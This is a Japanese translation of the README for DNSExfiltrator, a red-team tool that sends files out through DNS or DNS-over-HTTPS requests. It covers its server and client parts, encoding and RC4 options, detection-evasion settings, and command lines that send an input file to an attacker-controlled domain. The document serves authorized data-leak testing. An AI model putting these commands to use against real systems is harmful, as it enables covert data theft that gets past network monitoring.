
作者: Arno0x0x - @Arno0x0x
DNSExfiltratorは、DNSリクエストの隠蔽チャネルを介してファイルを転送(外部への転送)することを可能にします。これは基本的に、隠蔽チャネルを介してデータを外部に漏洩させるためのデータ漏洩テストツールです。
DNSExfiltratorには2つの側面があります:
dnsexfiltrator.py)として提供され、カスタムDNSサーバーとして機能し、ファイルを受信します。dnsExfiltrator.cs:csc.exeでコンパイルしてWindowsマネージド実行可能ファイルを生成するC#スクリプトInvoke-DNSExfiltrator.ps1:dnsExfiltratorアセンブリをラップして全く同じ機能を提供するPowerShellスクリプトdnsExfiltrator.js:DotNetToJScriptを使用してdnsExfiltrator DLLアセンブリを変換したJScriptスクリプトで、全く同じ機能を提供します全体を機能させるためには、ドメイン名を所有している必要があり、そのドメインのDNSレコード(NS)をdnsexfiltrator.pyサーバーサイドを実行するサーバーに向けるように設定する必要があります。
デフォルトでは、DNSExfiltratorはシステムで定義されたDNSサーバーを使用しますが、特定のDNSサーバーを指定して使用することもできます(たとえば、デバッグ目的やサーバーサイドをローカルで実行する場合に便利です)。
あるいは、hパラメータを使用すると、DNSExfiltratorはGoogleまたはCloudFlareのDoHサーバーを使用してDoH(DNS over HTTP)を実行できます。
デフォルトでは、外部に転送されるデータはDNSリクエストに収まるようbase64URLエンコードされます。しかし、一部のDNSリゾルバーは、大文字小文字の区別(大文字または小文字)を乱すことにより、このエンコーディングを壊す可能性があります(FQDNは大文字小文字を区別すべきではないため、当然のことです)。これはエンコード/デコードプロセスにとって明らかに重要です。この問題を回避するために、-b32フラグを使用してデータをBase32エンコードに強制することができます。これにより若干のサイズオーバーヘッドが発生します。CloudFlare DoHを使用している場合、base32エンコーディングが自動的に適用されます。
DNSExfiltratorは、外部に転送されるデータの基本的なRC4暗号化をサポートしており、指定されたパスワードを使用してデータを暗号化/復号化します。
DNSExfiltratorは、検出を回避するためのいくつかのオプション機能も提供します:
依存関係はサーバーサイドのみで、dnsexfiltrator.pyスクリプトは外部のdnslibライブラリに依存しています。pipを使用してインストールできます:
pip install -r requirements.txt
サーバーサイド
dnsexfiltrator.pyスクリプトを起動し、使用するドメイン名と復号化パスワードを渡します:
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password
クライアントサイド
コンパイル済みバージョンを使用するか、PowerShellラッパー(基本的に同じものです)またはJScriptラッパーを使用できます。いずれの場合もパラメータは同じで、PowerShellでの渡し方にわずかな違いがあります。
1/ C#コンパイル済みWindows実行可能ファイル(releaseディレクトリにあります)を使用する場合:
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
file: [MANDATORY] The file name to the file to be exfiltrated.
domainName: [MANDATORY] The domain name to use for DNS requests.
password: [MANDATORY] Password used to encrypt the data to be exfiltrated.
-b32: [OPTIONNAL] Use base32 encoding of data. Might be required by some DNS resolver break case.
h: [OPTIONNAL] Use Google or CloudFlare DoH (DNS over HTTP) servers.
DNS_Server: [OPTIONNAL] The DNS server name or IP to use for DNS requests. Defaults to the system one.
throttleTime: [OPTIONNAL] The time in milliseconds to wait between each DNS request.
requestMaxSize: [OPTIONNAL] The maximum size in bytes for each DNS request. Defaults to 255 bytes..
labelMaxSize: [OPTIONNAL] The maximum size in chars for each DNS request label (subdomain). Defaults to 63 chars.
2/ PowerShellスクリプトを使用する場合、好きな方法で呼び出してください(powershellスクリプトを呼び出す方法はたくさんあるでしょう)。スクリプトパラメータとともに。最も基本的な例:
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]
詳細な使用例については、スクリプトファイルのEXAMPLESセクションを確認してください。

3/ JScriptスクリプトを使用する場合、スタンドアロンのWindows実行可能ファイルとまったく同じ引数を渡します:
cscript.exe dnsExiltrator.js inputFile mydomain.com password
または、オプション付き:
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500
このツールは、合法的かつ正当な方法でのみ使用することを意図しています:
Empireの作者の言葉を引用: 正当な情報セキュリティ業界に有用な攻撃ツールを構築しながら、同時に悪意のある攻撃者による悪用を防ぐ方法はありません。